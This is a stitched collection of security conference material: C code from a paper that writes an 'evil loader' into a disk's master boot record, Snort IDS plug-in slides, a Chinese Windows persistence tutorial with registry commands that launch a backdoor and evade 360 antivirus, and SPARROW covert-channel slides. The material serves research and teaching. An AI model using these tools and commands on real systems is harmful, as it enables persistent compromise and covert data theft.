MASTER BOOT RECORD\n" " DONT USE UNTIL YOU KNOW WHAT YOU ARE DOING\n\n", argv[0℄); exit(-2); } int main (int argc, char * argv[℄) { char PASSWORD_FILE[BUFF_LENGTH℄; char DISK_NAME[BUFF_LENGTH℄; int fd; int c,i,j=0, retaddr,jumpposition; FILE * passwdfile; if (argc < 2) usage(argc, argv); /* * Command line options parsing */ while (1) { int this_option_optind = optind ? optind : 1; int option_index = 0; static struct option long_options[℄ = { {"help", 0, 0, 'h'}, {"password", 1, 0, 'p'}, {"disk", 1, 0, 'd'}, {0, 0, 0, 0} }; c = getopt_long(argc, argv, "hp:d:", long_options, &option_index); if (c == -1) break; switch (c) { case 'h': usage(argc, argv); break; case 'p': if(optarg != 0) { strncpy(PASSWORD_FILE, optarg, BUFF_LENGTH); } else { fprintf(stderr, " [!!℄ try giving an actual option instead of : '%c'\n", c); exit(-2); } break; case 'd': if(optarg != 0) { strncpy(DISK_NAME, optarg, BUFF_LENGTH); } else { fprintf(stderr, " [!!℄ try giving an actual option instead of : '%c'\n", c); exit(-2); } break; default: fprintf(stderr, " [!!℄ unknown option : '%c'\n", c); exit(-2); } } /* * Read password from file */ passwdfile = fopen(PASSWORD_FILE, "r"); if (!passwdfile) { perror("error opening password file: "); exit(-3); } fscanf(passwdfile,"%16c",password); /* * Open device and read DISK_OFFSET first bytes */ fd = open(DISK_NAME, O_RDWR); if (fd == -1) { perror("Fatal error while opening disk: "); exit(-1); } int PageSize = (int)sysconf(_SC_PAGESIZE); if ( PageSize < 0) { perror("Fatal error in sysconf: "); exit(-1); } char* map = mmap(0, DISK_OFFSET , PROT_READ| PROT_WRITE , MAP_SHARED, fd, 0); if(map == MAP_FAILED) { perror("Fatal error in mmap: "); exit(-1); } /* * Read original jump address from MBR */ for (i=0;i<10;i++) { if ( (unsigned char) *(map + i ) == 0xeb ) { /* jmp short ... */ break; } } if ( i >= 9 ) { printf("Could't find initial jmp short : quiting\n"); exit(-1); } else { jumpposition = i + 1; } retaddr= * (map + jumpposition) +2; printf(" [*℄ Initial jump: 0x%x at position 0x%x\n", retaddr,jumpposition); /* * search for a DISK_OFFSET bytes long buffer filled with 0x00 * to back up MBR */ j = 0; for (i=513;i<DISK_OFFSET;i++) { if ( *(map +i) == 0x00 ){ j++; } else { j = 0; } if ( j >= BUFF_SIZE ) { break; } } /* * No suitable buffer found, quit */ if (i >= DISK_OFFSET - 10) { printf(" [*℄ No suitable buffer found, try a larger disk offset\n"); exit(-1); } else { /* * Ok, we have a suitable buffer */ i = i - BUFF_SIZE; printf(" [*℄ Found %d bytes buffer at offset 0x%4x\n",j,i); } /* * Backup original bootloader to buffer */ if(!memcpy(map + i,map,512)) { printf("backup of the original MBR failed, quitting\n"); exit(-1); } else { printf(" [*℄ backup of MBR successful\n"); } /* * Modify the address of the MBR backup in our evil loader */ evilloader[10℄ = i % 256 ; evilloader[11℄ = i / 256 ; /* * Get the password translated to the 'keystroke + scancode' format * and copy it to shellcode */ printf(" [*℄ Password:\n[%s℄\n\n",password); if( convert_password()) { printf("Invalid character in password...\nquitting\n"); exit(-1); } else { load_password(); } /* * copy our custom bootloader at intial "jump short..." landing */ if( !memcpy(map+retaddr+jumpposition,evilloader,sizeof(evilloader)) ) { printf("Installation of evil loader failed, quitting\n"); exit(-1); } else { printf(" [*℄ Installed evil loader at offset 0x%x\n" ,retaddr+jumpposition ); } /* * Clean and quit */ if (munmap(map, (DISK_OFFSET/PageSize +1)*PageSize ) < 0) { perror("Error while freeing memory...\n"); } close(fd); return 0; } References 1. Northcutt, S., Filkins, B.: (Encryption pro curemen t: Setting a stan- dard) 2. Sk orob ogato v, S.: Lo w temp erature data remanence in static ram. T ec hnical rep ort (2002) 3. J. Alex Halderman, Seth D. Sc ho en, N.H.W.C.W.P .J.A.C.A.J.F.J.A., F elten, E.W.: Lest w e remem b er: Cold b o ot attac ks on encryption k eys. (2008) 4. P erciv al, C.: Cac he missing for fun and prot. (2005) 5. Boileau, A., Ruxcon (2006) 6. Duot, L.: Securit y issues related to p en tium system managemen t mo de, CanSecW est (2006) 7. BSDaemon, coidelok o, D.: System managemen t mo de hac k using smm for "other purp oses". (Phrac k magazine) 8. Brossard, J.: Bios information leak age. (2005) 9. Pho enix, Compaq, I., Microsoft: Bios b o ot sp ecication v ersion 1.01. T ec hnical rep ort (1996) 10. Pro ject, T.F.D.: F reebsd arc hitecture handb o ok. T ec hnical rep ort (2006) 11. In tel: In tel 64 and ia-32 arc hitectures soft w are dev elop er's man ual. In: V olume 1: Basic Arc hitecture, P .O. Bo x 5937, Den v er CO 80217- 9808 (2008) 12. In tel: In tel 64 and ia-32 arc hitectures soft w are dev elop er's man ual. In: V olume 3A: System Programming Guide, P .O. Bo x 5937, Den v er CO 80217-9808 (2008) 13. Crouc her, P .: The BIOS Companion: The b o ok that do esn't come with y our motherb oard! Bo okSurge Publishing (2004) 14. Aiv azian, T.: Lin ux k ernel 2.4 in ternals. T ec hnical rep ort, V eritas (2002) 15. Co x, A.: (Lin ux 2.4 bios usage reference) 16. Lin ux: (Lin ux k ernel) 17. Dunlap, R.: Lin ux 2.4.x initialization for ia-32 ho wto. T ec hnical rep ort, IEEE (2001) 18. Microsoft: (Bitlo c k er driv e encryption: V alue-add extensibilit y op- tions) 19. Bro wn, R.: (Ralf bro wn's in terrupt list, in terruption 0x16 (k eyb oard related)) 20. Bro wn, R.: (Ralf bro wn's in terrupt list, in terruption 0x09, irq1 (k ey- b oard data ready)) 21. Lilo: (Lin ux loader source co de) 22. In tel: Upi-41ah/42ah univ ersal p eripheral in terface 8-bit sla v e mi- cro con troller. T ec hnical rep ort, (In tel Corp oration) 23. In tel: 8259a programmable in terrupt con troller (8259a/8259a-2). T ec hnical rep ort, (In tel Corp oration) 24. Hyde, R.: Chapter 20 : The PC Keyb oard. In: The art of assem bly language programming. UCR Standard Library for 80x86 Assem bly Language Programmers (1996) 25. Hurt, R.: (Bios data area mapping) 26. Daniel P . Bo v et, M.C. In: Understanding the Lin ux k ernel. O'Reilly (2002) 27. Lrmi: (Lin ux real mo de in terface pro ject page at sourceforge) 28. Grsecurit y: (Grsecurit y home page) 29. Malyugin, V.S.: (Debugging lin ux k ernels with vm w are w orkstation 6.0) 30. Co olQ: Hac king grub for fun and prot. (Phrac k magazine) 31. Scythale: Hac king deep er in the system. (Phrac k magazine) 32. Salih un, D.M. Co de Break er (2004) 33. Brossard, J.: (Cv e-2005-4176 : A w ard bios mo dular 4.50pg do es not clear the k eyb oard buer after reading the bios passw ord) 34. Brossard, J.: (Cv e-2005-4175 : Insyde bios v190 do es not clear the k eyb oard buer after reading the bios passw ord)
pdf
The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Snort Plug-in Development: Teaching an Old Pig New Tricks Ben Feinstein, CISSP GCFA SecureWorks Counter Threat Unit™ DEFCON 16 August 8, 2008 The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Snort v2 Architecture & Internals • Snort Plug-in Development  Dynamic Rules  Dynamic Preprocessors • Snort Plug-in API  Examples, Pitfalls, Tips • Releasing several Dynamic Preprocessors  ActiveX Virtual Killbits (DEMO)  DNS Blacklist (DEMO)  Debian OpenSSL "Weak Keys" Detection (DEMO) What’s In This Talk? The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Open-source IDS created by Marty Roesch • First released for *NIX platforms 1998 • Commercialized by Sourcefire, Inc. • Snort Inline mode now available for IPS  Linux Bridge + Netfilter  Linux ip_queue and nf_queue interfaces • Snort v3 now making its way through Beta  NOT discussing plug-ins for v3  NOT discussing v3 architecture (ask Marty) Snort Basics The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Highly modularized for extensibility • Snort Rules & The Rules Matching Engine  SF Engine Dynamic Plug-in  Detection Plug-ins – implement/extend rules language • Output Plugins  Unified / Unified2  Syslog  Others • Preprocessors  Detection (i.e. alerting)  Normalization (i.e. decoding) Snort v2 Architecture The Basics The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Dynamic Preprocessors  Define a packet processing callback  Preprocessor local storage  Stream-local storage • Dynamic Rules  Writing Snort rules in C  v2.8.0.1(?), added ability to register a C callback • Before, only useful as form of rule obfuscation  Used by some commercial Snort rulesets  Relatively straight forward to RE using IDA Pro Snort v2 Architecture Run-time (Dynamic) Extensions The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Alert vs. Log  Log contains packet capture data in addition • Unified2 is extensible  Additional data in simple Length|Value encoding • Does your detection preprocessor need to log additional alert data?  Use Unified2! • Examples  Portscan Alerts  Preprocessor Stats Other Snort Internals of Interest Unified2 Output Formats The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Familiarity with the C language • Lack of code-level documentation  What is available is out of date • Snort-Devel mailing list  Sourcefire developers are very responsive, thanks!  Do your homework before mailing the list.  You will get a better response and save everybody time. • Source contains very basic examples  Dynamic Rules  Dynamic Preprocessor Snort Plug-in Development Getting Started The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Use the Source! • Examine existing plug-ins  SMTP  DNS  SSH  SSL  HTTP Inspect (bigger) • Write small blocks of code and (unit) test them • Ask questions on the Snort-Devel mailing list Snort Plug-in Development Getting Started, Continued The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Snort 2.8.x source tarball • CentOS 5  gcc 4.1  glibc 2.5 • GNU Autoconf 2.61  CentOS 5 packages older version 2.59 • GNU Automake 1.10  CentOS 5 packages older version 1.9.6 Snort Development Environment The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Key header file "sf_snort_plugin_api.h"  Defines C-struct equivalents to rule syntax • You define global variable  Rules *rules[]  Framework will handle the rest • Makefile  Compile C files into object code  Use GNU Libtool to make dynamic shared objects • Dynamically loaded by Snort at run-time Snort Dynamic Rules Background The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Snort config  --dynamic-detection-lib <.so file>  --dynamic-detection-lib-dir <path to .so file(s)> • Snort can create stub rules files for all loaded dynamic rules  --dump-dynamic-rules <output path> • "meta-rules" must be loaded in Snort rules file  alert tcp any any -> any any (msg:"Hello World!"; […] metadata : engine shared, soid 3|2000001; sid:2000001; gid:3; rev:1; […] ) Snort Dynamic Rules Configuration The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Different C structs for each rule option in rules language • A Rule Option is a Union of different specific rule opt structs • Rule struct w/ NULL-terminated array of Rule Options  Rule Header  Rule References • Functions for matching  Content, Flow, Flowbits, PCRE, byte_test, byte_jump • Function to register and dump rules Snort Plug-in API The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. static ContentInfo sid109content = { (u_int8_t *)"NetBus", /* pattern to search for */ 0, /* depth */ 0, /* offset */ CONTENT_BUF_NORMALIZED, /* flags */ NULL, /* holder for boyer/moore info */ NULL, /* holder for byte representation of "NetBus" */ 0, /* holder for length of byte representation */ 0 /* holder of increment length */ }; Snort Plug-in API Content Matching The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. static RuleOption sid109option2 = { OPTION_TYPE_CONTENT, { &sid109content } }; ENGINE_LINKAGE int contentMatch(void *p, ContentInfo* content, const u_int8_t **cursor); Snort Plug-in API Content Matching (Continued) The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. static PCREInfo activeXPCRE = { "<object|\snew\s+ActiveX(Object|Control)", NULL, NULL, PCRE_CASELESS, CONTENT_BUF_NORMALIZED }; static RuleOption activeXPCREOption = { OPTION_TYPE_PCRE, { &activeXPCRE } }; Snort Plug-in API PCRE Matching The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. ENGINE_LINKAGE int pcreMatch(void *p, PCREInfo* pcre, const u_int8_t **cursor); Snort Plug-in API PCRE Matching (Continued) The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. static FlowFlags activeXFlowFlags = { FLOW_ESTABLISHED|FLOW_TO_CLIENT }; static RuleOption activeXFlowOption = { OPTION_TYPE_FLOWFLAGS, { &activeXFlowFlags } }; ENGINE_LINKAGE int checkFlow(void *p, FlowFlags *flowFlags); Snort Plug-in API Flow Matching The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. extern Rule sid109; extern Rule sid637; Rule *rules[] = { &sid109, &sid637, NULL }; /* automatically handled by the dynamic rule framework */ ENGINE_LINKAGE int RegisterRules(Rule **rules); Snort Plug-in API Dynamically Registering Rules The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Optional C packet processing callback  Returns RULE_MATCH or RULE_NOMATCH sf_snort_plugin_api.h: typedef int (*ruleEvalFunc)(void *); typedef struct _Rule { […] ruleEvalFunc evalFunc; […] } Rule; Snort Dynamic Rules Implementation The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. my_dynamic_rule.c: #include "sf_snort_plugin_api.h" #include "sf_snort_packet.h" int myRuleDetectionFunc(void *p); Rule myRule = { […], &myRuleDetectionFunc, […] }; Snort Dynamic Rules Implementation (2) The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. my_dynamic_rule.c (con't): int myRuleDetectionFunc(void *p) { SFSnortPacket *sp = (SFSnortPacket *) p; if ((sp) && (sp->ip4_header.identifier % (u_int16_t)2)) return RULE_MATCH; return RULE_NOMATCH; } • Question for Audience: What does this do? Snort Dynamic Rules Implementation (3) The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Another key header file: "sf_dynamic_preprocessor.h" • Key struct: "DynamicPreprocessorData"  Typically defined as extern variable named "_dpd" • Contains:  Functions to add callbacks for Init / Exit / Restart  Internal logging functions  Stream API  Search API  Alert functions  Snort Inline (IPS) functions Snort Dynamic Preprocessors Background The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. void SetupActiveX(void) { _dpd.registerPreproc("activex", ActiveXInit); } static void ActiveXInit(char *args) { _dpd.addPreproc(ProcessActiveX, PRIORITY_TRANSPORT, PP_ACTIVEX); } static void ProcessActiveX(void* pkt, void* contextp) { […] _dpd.alertAdd(GENERATOR_SPP_ACTIVEX, ACTIVEX_EVENT_KILLBIT, 1, 0, 3, ACTIVEX_EVENT_KILLBIT_STR, 0); return; } Snort Dynamic Preprocessors spp_activex.c The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • We can try calling rule option matching functions directly, but need internal structures first properly initialized. • Use dummy Rule struct and ruleMatch():  ENGINE_LINKAGE int ruleMatch(void *p, Rule *rule); • RegisterOneRule(&rule, DONT_REGISTER_RULE); • Confusing, huh? • RegisterOneRule will setup Boyer-Moore and internal ptrs • But we don't always want to register the rules as an OTN • So, pass in DONT_REGISTER_RULE. See? Snort Plug-in API Using Rules Within a Dynamic Preprocessor The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Available under:  http://www.secureworks.com/research/tools/ • Released under GPLv2 (or later) • No Support • No Warranty • Use at Your Own Risk • Feedback is appreciated! SecureWorks Snort Plug-ins The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Inspects web traffic for scripting instantiating "vulnerable" ActiveX controls  As based on public vulnerability disclosures • Preprocessor configuration points to local DB of ActiveX controls  Listed by CLSID and optionally method/property  XML format (I know, I know…) • Looks at traffic being returned from HTTP servers  ActiveX instantiation and Class ID  Access to ActiveX control's methods / properties ActiveX Detection Dynamic Preprocessor The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Can presently be bypassed  JavaScript obfuscation  HTTP encodings  But many attackers still using plain CLSID! • Future Snort Inline support  Drop or TCP RST the HTTP response • Leveraging of normalization done by HTTP Inspect • Enhance to use Unified2 extra data to log detected domain name ActiveX Detection Dynamic Preprocessor Continued The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Uses matchRule(Rule*) from Snort Plug-in API  Very convenient  Not the most efficient • Performs naïve linear search of CLSIDs  Enhance to reuse HTTP Inspect's high-performance data-structures? • Uses Snort's flow match • Performs content matching and PCRE matching ActiveX Detection Dynamic Preprocessor Internals The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Live Demo ActiveX Detection Dynamic Preprocessor The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Inspects DNS traffic for blacklisted domain names • To be used with DNS blacklists from upstream sources • Leverage normalization done by Snort's DNS preprocessor • Enhance to use Snort Inline (IPS) functionality • Enhance to inject a configurable spoofed DNS response  Malware Listening Posts  Sandnets • Enhance to use Unified2 extra data to log detected domain name DNS Blacklist Dynamic Preprocessor The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Live Demo DNS Blacklist Dynamic Preprocessor The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Lack of sufficient entropy in PRNG delivered by Debian's OpenSSL package • Go see Luciano Bello and Maximiliano Bertacchini's talk!  Saturday, 13:00 – 13:50, Track 4 • One of the coolest vulns of 2008! • Keys generated since 2006-09-17 • Keys generated with Debian Etch, Lenny or Sid  Downstream distros such as Ubuntu also vulnerable Debian OpenSSL Predictable PRNG Vuln CVE-2008-0166 The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Debian OpenSSL Predictable PRNG Vuln Dilbert (source: H D Moore, metasploit.com) The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Debian OpenSSL Predictable PRNG Vuln XKCD (source: H D Moore, metasploit.com) The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • From the Debian Wiki (http://wiki.debian.org/SSLkeys): • "… any DSA key must be considered compromised if it has been used on a machine with a ‘bad’ OpenSSL. Simply using a ‘strong’ DSA key (i.e., generated with a ‘good’ OpenSSL) to make a connection from such a machine may have compromised it. This is due to an ‘attack’ on DSA that allows the secret key to be found it the nonce used in the signature is known or reused.” • H D Moore was all over this one with a quickness!  Metasploit hosting lists of brute-forced 'weak' keys Debian OpenSSL Predictable PRNG Vuln It’s Bad! The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Achieving just those two goals would be valuable • You scanned your assets for SSH / SSL servers using the blacklisted keys, right? (Tenable Nessus) • You scanned all user home dirs for blacklisted SSH keys?  Debian ssh-vulnkey tool • You scanned all user homedirs, Windows Protected Storage, and browser profiles for blacklisted SSL certs, right? • But what about connections to external servers that use the bad certs/keys? Debian OpenSSL Predictable PRNG Vuln Detection & Mitigation The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Presently under development • Goal: Detect SSH and SSL handshakes where one or both hosts use blacklisted keys / certificates. • Just that detective capability is valuable  Even w/ great technical controls in place, you're likely missing: • Users connecting to external servers using bad keys • Connections to/from external hosts that use bad keys/certs • What else can we do? Debian OpenSSL “Weak Keys” Preprocessor The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Goal: Have preprocessor(s) "normalize" traffic by brute- forcing the DH key exchange, decoding both sides of session on-the-fly.  Snort rule matching engine and other preprocessors can then inspect unencrypted session  Unencrypted sessions can be logged (Unified or PCAP) • Potential issue w/ source code release  Controls on the export of cryptanalytic software (US) • Credit: Alexander Klink <a.klink@cynops.de>  http://seclists.org/fulldisclosure/2008/May/0592.html  http://www.cynops.de/download/check_weak_dh_ssh.pl .bz2 Debian OpenSSL “Weak Keys” Preprocessor Continued The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Snort v3  Complete redesign from the ground up  Extremenly flexible and extensible architecture  Snort 2.8.x matching engine plugs in as module  HW optimized packet acquisition can be plugged in  Lua programming language! • Snort 2.8.3 (Beta)  Enhancements to HTTP Inspect • Normalized Buffers for Method, URI, Headers, Cookies, Body • Content and PCRE matching against new buffers  New HTTP normalization exposed in Snort Plug-in API Snort Futures The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Snort is a powerful framework to work with  APIs for alerting, logging, Streams, matching  Why reinvent the wheel? • Hopefully, you can take away needed info to start writing your own plug-ins. • Read the source code of other plug-ins, ask questions. • Snort v2 is still evolving. If the APIs don't support something you (and potentially others?) really need, ask and ye may receive. Wrapping It All Up The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Thanks to DT, the Goons and everyone who made DEFCON a reality this year! The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Greetz to DC404, Atlanta's DC Group! Speakers: dr.kaos, David Maynor, Scott Moulton & Adam Bregenzer And our very own Goon, dc0de! The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Questions? bfeinstein@secureworks.com
pdf
权限维持 简介 Logon Scripts是系统的登录脚本,这⾥说⼀个特别⽤法, Logon Scripts能够优先于安全软件执⾏, 绕过安全软件对敏感操作的拦截,本⽂将具体介绍这个技巧。 Logon Scripts⽤法 拦截测试 实际 360 创建会被拦截 wmic ENVIRONMENT create name="AnonySec",username="%username%",VariableValue="Logon Scripts!" 但是 测试 并未拦截 启⽤Logon Scripts 注册表路径:HKCU\Environment 创建字符串键值: UserInitMprLogonScript 键值设置为bat的绝对路径:C:\1.bat 绕过360对wmi调⽤的拦截 由于调⽤WMI会被拦截,可以通过powershell实现添加注册表键值,启动Logon Scripts,代码如 第 1 ⻚ 下: New-ItemProperty "HKCU:Environment" UserInitMprLogonScript -value "C:\1.bat" -propertyType string | Out-Null Windows权限维持之WinLogon Windows Logon Process(即winlogon.exe),是Windows⽤户登陆程序,它处理各种活动,例如登 录、注销、在身份验证期间加载⽤户配置⽂件,关闭,锁定屏幕等。 这种⾏为由注册表管理,该注册表定义了在Windows登录期间启动哪些进程。 注册表项 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell 利⽤过程 Userinit 后⻔程序放⼊ C:\Windows\System32\中,修改注册表项“ Userinit ”。这样,在Windows重新登录期 间,可以同时运⾏这两个可执⾏⽂件:userinit.exe 与 logon.exe。 Shell 同样的将后⻔⽂件 放⼊C:\Program Files\Internet Explorer\中,修改注册表项“ Shell ”。系统重新登 录期间,同时运⾏这两个可执⾏⽂件:explorer.exe 与 logon.exe。 命令 第 2 ⻚ reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe,logon.exe" /f reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe,logon.exe" /f ⼆种⽅法结果 第 3 ⻚
pdf
1 SPARR W: A Novel Covert Communication Scheme Exploiting Broadcast Signals in LTE, 5G & Beyond Reza Soosahabi, Chuck McAuley Application & Threat Intelligence Research Center 2 WHO 3 4 MOTIVATION 5 Motivation • Past research experience in wireless security • Worked with US operators before joining Keysight in 2018. • Researched data exfiltration techniques at ATI that are lesser known in wireless community. • Trying to impress a cool boss who drops a big money Base- Station emulator equipment on your lap to do open field research! • The satellite talk in DEFCON 28 • Whispers Among the Stars: Perpetrating (and Preventing) Satellite Eavesdropping Attacks – James Pavur New Job Old Job W H AT M A D E M E D O I T ! 6 Motivation • Covert Communication: a potential threat • Hacker Mentality: Exploit [Software] • Tunnelling via 3-7 protos: ICMP, DNS, etc • Challenged by Security Boxes: IPS, IDS, LI F I N D I N G M I S S I N G P I E C E Application TCP/UDP IP MAC PHY Application TCP/UDP IP MAC PHY Exploit MAC? • Engineer Mentality: Build [Hardware] • Building L1 (radios): Spread Spectrum, Ham Radios, etc • Signal blocking e.g. indoor to outdoor • Avoiding spectrum monitoring a.b.c.d x.y.z.t 7 Motivation • Exploit MAC standard weakness in cellular & satellite, … • Radio height makes RF signals unstoppable. • What if: Trudy bounces a broadcast signal of from ANY powerful Wireless Access Node to Ricky!? E X P L O I T I N G A C C E S S R A D I O S 𝑚𝑖 Ricky Trudy This Photo by Unknown Author is licensed under CC BY-SA This Photo by Unknown Author is licensed under CC BY-SA-NC This Photo by Unknown Author is licensed under CC BY-SA 8 EXPLOITING LTE & 5G STANDARD WEAKNESS 9 M E D I U M A C C E S S C O N T R O L What is the MAC layer? This Photo by Unknown Author is licensed under CC BY-SA This one Media Layers Host Layers 10 LTE/5G Big MAC Layers! Terminology Quick Start: UE (User Equipment) • Phone, Tablet, Laptop, Things with SIM! eNodeB / gNodeB • Cell Tower for LTE/5G • No one knows what happened to fNodeB! • So, I like using fNodeB to refer to both LTE & 5G cells!! This Photo by Unknown Author is licensed under CC BY-SA-NC Crati, CC BY-SA 3.0 via Wikimedia Commons This Photo by Unknown Author is licensed under CC BY-NC 11 https://www.sharetechnote.com/html/FullStack_LTE.html Normal RA Procedure Msg3 (RRC-Conn-Req): Random 48-bit MAC CRI Msg4 (RRC-Conn-Setup): Acks Msg3 by MAC CRI Rebroadcast Msg5 (RRC-Setup- Complete): UE Starts NAS process Plain Text Broadcast Encrypted Data & Signaling Msg2: sends RAR scheduled w/ RA- RNTI, TC-RNTI, TA, UL grant for Msg3 Msg1: UE starts RA C O N T E N T I O N R E S O L U T I O N P I N G - P O N G 12 Exploiting CRI Broadcast Msg1: UE starts RA w/ RA-RNTI = 1, RAPID = 8 Msg2: eNB sends RAR w/ RA-RNTI = 1, TC-RNTI = x , TA, UL grant for Msg3 Sniffing PDCCH RAR w/ DCI-1C, RA-RNTI = 1 , RAPID = 8 Sniffing PDCCH for DCI-1 w/ TC-RNTI = x Msg3: Encoded 48-bit MAC CRI Msg4: Rebroadcasts MAC CRI < DC29! > Decoding MAC CRI < DC29! > Ricky knows RA-RNTI and RAPID. Ricky Trudy Encoding (optional) 13 S U C C E S S I V E AT T E M P T S Msg1 Msg4 decoding Msg1 encoding Msg3 Msg1 Msg4 decoding Msg1 encoding Msg3 Msg1 Msg4 decoding Msg1 encoding Msg3 Source: 3GPP TS 36.321, sec 5.1.4 • A SPARROW UE can send successive 40-bits messages • Successive RACH attempts do not impact other users much. • Picking low backoff time: like every 40 ms => 1 kbps tput. • This vulnerability can be traced back to LTE Rel. 8 and still exists in 5G-NR. • Although less-relevant FR2 (above 6 GHz) due to beamforming it can be easily exploited in LTE lower-bands and FR1 to achieve around 5 miles range. • Higher ranges achievable in upcoming 5G-NTN (satellite gNBs). Exploiting CRI Broadcast 14 • No Network or Spectrum Footprint • Low Hardware Complexity • More Miles per Watt • Unstoppable 0.2 W / 5 mi 1 W / 5 mi 2 W / 1 mi LoRAWAN GW Sparrow UE Walkie Talkie WHY SPARROW? 𝑚𝑖 Ricky Trudy 15 Demo & Use Cases 16 SPARROW Testbed Setup Keysight UXM Rear side Test PC PRT Script 17 17 DEMO 18 Application Scenarios 𝑚𝑖 TX RX ➢Data Exfiltration: Extract sensitive data out of secure locations ➢Supply Chain: Remote access baked into firmware of modem ➢Command & Control (CnC): trigger or monitor events remotely This Photo by Unknown Author is licensed under CC BY-NC This Photo by Unknown Author is licensed under CC BY 19 Application Scenarios ➢Disaster Recovery: In case of natural disasters, the cellular infrastructure could be operational without backhaul links. 𝑚𝑖 TX RX ➢Failover Broadcast: Can utilize this as an alternative for emergency notifications. Connect parties in case of emergency. This Photo by Unknown Author is licensed under CC BY-SA This Photo by Unknown Author is licensed under CC BY-SA This Photo by Unknown Author is licensed under CC BY-SA 20 Application Scenarios 𝑚𝑖 TX RX ➢Extended Network: Make a lightweight IoT network using someone else’s fNodeB ➢Pager Network: Let everyone know it’s dinner time, create a localized medium distance pager network Image provided curtesy of @_naturalfreq of Dirt Simple Comms 21 𝑏𝑖 Reliability / Rate enhancement via parallel PTP links Range Increase By Relay Nodes TX RX TX RX Low-power self sustained relay UE, Planted in overlap (handover) areas 𝑚𝑖 𝑪𝒈𝒓𝒓 > 𝟏𝟏 𝒌𝒈𝒌𝒂𝒓 Geographical Enhancements 22 Geographical Enhancements 23 GENERAL REMEDIATION 24 A wireless MAC layer protocol is deemed vulnerable to SPARROW technique, if any of its procedures allows forming two sets of uplink messages (M) and the downlink broadcast messages (B) satisfying all the following conditions: 1) Passive Reception: any signal in (B) are anonymously decodable. 2) Bijectivity: one-to-one correlation between (M) & (B). 3) Anonymous Uplink: no need to attach to the network. 4) Stateless Uplink: Trudy can successively send any message from (M) without protocol violation. Weakness Model 𝑚𝑖 Ricky Trudy Ted 𝑚𝑖 ∈ 𝑀 𝑏𝑖 ∈ 𝐵 25 Understanding CRI Purpose Msg1: RA-RNTI = 1, RAPID = 8 Msg2: eNB sends RAR scheduled w/ RA-RNTI = 0, and provides TC-RNTI = x , TA, and UL grant for Msg3 Msg3 (RRC-Conn-Req): UE1 sends 48-bit MAC CRI Msg4 (RRC-Conn-Setup): eNB send contention resolution response including the UE1 MAC CRI Msg1: RA-RNTI = 1, RAPID = 8 Msg3 (RRC-Conn-Req): UE2 sends 48-bit MAC CRI Wrong TA! • The value is arbitrary by UE • Think of it as a ping-pong or selective ack • Rebroadcast in Msg4 is universally decodable (QPSK) by both UE and non-UE devices • UE identities remain hidden 26 • No preset CRI for privacy • No Shared secret UE & fNB • Salt must be sent to UE • Ricky can still map (B) to (M) by computing hash (rainbow) • fNB cannot distinguish between Trudy and other users so cannot risk blocking RACH C RY P T O H A S H W I T H S A LT | B L O C K I N G Solutions that don’t work D E A D B E E F 5 A 1 7 E D B E E F 4 A …. AB4C57522458CFEEA69C …. 5 A 1 7 E D 𝑪𝒓𝒙𝒌𝒓𝒌 𝑯𝒂𝒓𝒈 𝑪𝒓𝒌𝒂𝒓𝒈𝒌𝒌 (𝑲𝑪𝟏, 𝑹𝑯𝑨𝟏, … ) (𝑲𝒓𝒈𝟏) (𝑲𝒓𝒈𝟏) 4 A 1 1 1 1 5 A 1 7 E D 27 Solution That Works: ELISHA 4 2 F 2 𝒙 (𝟏𝟖 𝒂𝒈𝒓𝒓) 